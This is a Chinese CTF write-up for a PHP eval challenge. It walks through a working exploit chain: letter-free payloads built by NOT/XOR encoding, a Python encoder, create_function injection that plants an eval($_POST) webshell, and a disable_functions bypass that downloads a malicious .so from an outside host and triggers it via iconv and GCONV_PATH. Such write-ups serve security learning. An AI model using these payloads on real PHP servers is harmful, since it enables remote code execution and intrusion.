
一、访问题目
输出了很多disabled_functions

二、分析源码
源码如下
<?php
if(isset($_POST['cmd'])){
$code = $_POST['cmd'];
if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('<script>alert(\'Try harder!\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
} else {
highlight_file(__FILE__);
var_dump(ini_get("disable_functions"));
}
?>
第一个匹配
/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm
所有字母大小写、数字、单引号'、双引号"、反引号’ 、空格、逗号,、减号-、加号+、等号=、正斜杠/、反斜杠\、左尖括号<、右尖括号>、美元符$、问号?、异或符^、与符&、竖线符|
无字母数字RCE
第二个匹配
';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code
所有符合「函数调用格式」的内容全部删掉,删干净后如果只剩下一个分号;
[^\s\(\)]+? → 匹配:除了「空白符、左圆括号 (、右圆括号 )」之外的任意连续字符
简单来说就是无参数RCE,可以嵌套,如func(func()),但是函数名中不能有(),所以区反绕过的(~%xx)()显示不适用
看到var_dump(ini_get("disable_functions"));,多半要考绕过disabled_functions
获取disabled_functions的方法
1.phpinfo()
2.var_dump(ini_get(“disable_functions”));
3.var_dump(get_cfg_var(“disable_functions”));
其他的
var_dump(get_cfg_var(“open_basedir”));
var_dump(ini_get_all());
三、构造payload
1.获取没有过滤的函数
strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders
2.使用create_function函数执行命令
这里逗号被过滤,为了传入参数,我们可以使用可变参数列表实现
在PHP 5.6以后,参数列表可以包括…,他表示函数接受任意数量的参数。参数将作为数组传递到给定的变量中
<?php
$args=['','}system("whoami");//'];
create_function(...$args);
?>
create_function是用eval创建函数,利用}闭合前面的{,然后执行代码,最后利用//来注释点后面的}
function __lambda_func() {
{
}system("whoami");//
}
}
构造函数
create_function(...unserialize(end(getallheaders())))
end:将array的内部指针移动到最后一个单元并返回其值。
getallheaders:获取全部 HTTP 请求头信息,得到一个数组(有键值对)
构造序列化内容
<?php
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;
a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST["a"]);//";}
将这串得到的序列化字符,放在http保报文头部最后,然后反序列化,就可以触发代码
取反结合异或[!%FF],(~%xx)()形式被过滤
[~%8f%97%8f%96%91%99%90][!%FF]() ≡ phpinfo() ≡ (~%8f%97%8f%96%91%99%90)()
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)

call_user_func(…unserialize(end(getallheaders())));的payload
[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF](...[~%d1%d1%d1%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));

然后发现其他命令用不了,只能进行绕过
3.绕过disabled_functions
利用iconv去绕过df
1.创建payload.c
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
puts("pwned");
system("bash -c '/readflag > /tmp/sna'");
exit(0);
}
2.生成so文件
gcc payload.c -o payload.so -shared -fPIC
3.再创建一个gconv-modules文件
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2

4.开启http服务,让靶机可以访问上传的payload文件

5.然后利用 SplFileObject 写 payload.so 和 gconv-modules
一定等响应包状态为200,才是写进去文件了
a=$url="http://xx.xx.171.248:8000/payload.so";$file1=new
SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
a=$url = "http://xx.xx.171.248:8000/gconv-modules";$file1 = new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

6.利用伪协议触发
a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
7.进行读取
a=show_source("/tmp/sna");

总结
-
无字母数字RCE:取反结合异或
[!%FF]
(~%xx)()形式的(和)被过滤,使用[和]绕过 -
无参数RCE:可变参数列表绕过函数中的逗号被过滤
create_function(…unserialize(end(getallheaders()))) -
disabled_functions绕过:
iconv绕过
文章参考
https://xz.aliyun.com/t/8669#toc-8